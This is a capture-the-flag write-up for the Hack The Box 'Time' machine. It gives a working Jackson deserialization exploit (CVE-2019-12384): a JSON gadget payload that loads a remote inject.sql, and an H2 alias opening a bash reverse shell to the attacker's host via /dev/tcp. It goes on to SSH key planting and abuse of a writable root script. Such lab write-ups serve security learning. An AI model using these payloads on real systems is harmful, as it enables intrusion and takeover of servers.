root@kali:~/hackthebox/machine/time# nmap -sV -v -p- 10.10.10.214 --min-rate=10000 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
port 80
There is a simple JSON Beautifier and Validator. Let’s try something Simple means “test” in Beautifier. It’s said null. Let’s try in Validator and he also in beta testing. It’s give some error.
1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN
com.fasterxml.jackson.core looks interesting. google it and find something.
Understanding insecure implementation of Jackson Deserialization
After reading the article , try this command Let’s see how’s it’s work.
1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
search it on google and check any solution for this error.
This stack overflow gave us the solution of our problem that we need to use ‘[]’ instead of ‘{}’. Let’s try this real quick.
1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve typeid'test' as a subtype of [simple type, class java.lang.Object]: no such class found
We got the error but it is different one. It’s say “Could not resolve type id ‘test’, no class found”.
After a few google search i found the interesting
CVE-2019-12384
exploit
step1
Create a file inject.sql Change the ip and port.
1 2 3 4 5 6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.14.2/3344 0>&1 &')
step2
Start python server and netcat Listener.
1 2
root@kali:~/hackthebox/machine/time# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
step3
Go on the website select “Validate (beta!)” and input this: Change the ip address also.
1
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.2/inject.sql'"}]
root@kali:~# nc -lvp 3344 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::3344 Ncat: Listening on 0.0.0.0:3344 Ncat: Connection from 10.10.10.214. Ncat: Connection from 10.10.10.214:60198. bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell pericles@time:/var/www/html$ id id uid=1000(pericles) gid=1000(pericles) groups=1000(pericles) pericles@time:/var/www/html$ whoami whoami pericles pericles@time:/var/www/html$ cd cd bash: cd: HOME not set pericles@time:/var/www/html$ cd ~ cd ~ pericles@time:/home/pericles$ ls ls snap user.txt pericles@time:/home/pericles$ cat user.txt cat user.txt f1cd7712d0ea3d98f672c90c975aa156
put the ssh public key and get the ssh connection.
root@kali:~/hackthebox/machine/time# chmod 600 id_rsa root@kali:~/hackthebox/machine/time# ssh -i id_rsa pericles@10.10.10.214 The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established. ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat 07 Nov 2020 09:07:07 AM UTC System load: 0.75 Usage of /: 23.7% of 29.40GB Memory usage: 33% Swap usage: 0% Processes: 249 Users logged in: 0 IPv4 address for ens160: 10.10.10.214 IPv6 address for ens160: dead:beef::250:56ff:feb9:da3d 83 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable Last login: Fri Oct 23 09:19:19 2020 from 10.10.14.5 pericles@time:~$ id uid=1000(pericles) gid=1000(pericles) groups=1000(pericles) pericles@time:~$ whoami pericles
Privilege escalation
run the LinEnum
privilege-escalation-awesome-scripts-suite
Found interesting file in LinEnum result.
1
/bin/bash /usr/bin/timer_backup.sh
check we have any rights to write the file or not.
1 2
pericles@time:~$ ls -la /usr/bin/timer_backup.sh -rwxrw-rw- 1 pericles pericles 88 Nov 7 09:15 /usr/bin/timer_backup.sh
We have Permission to write the file. Let’s replace root SSH_PUB_KEY with our’s ssh public key.
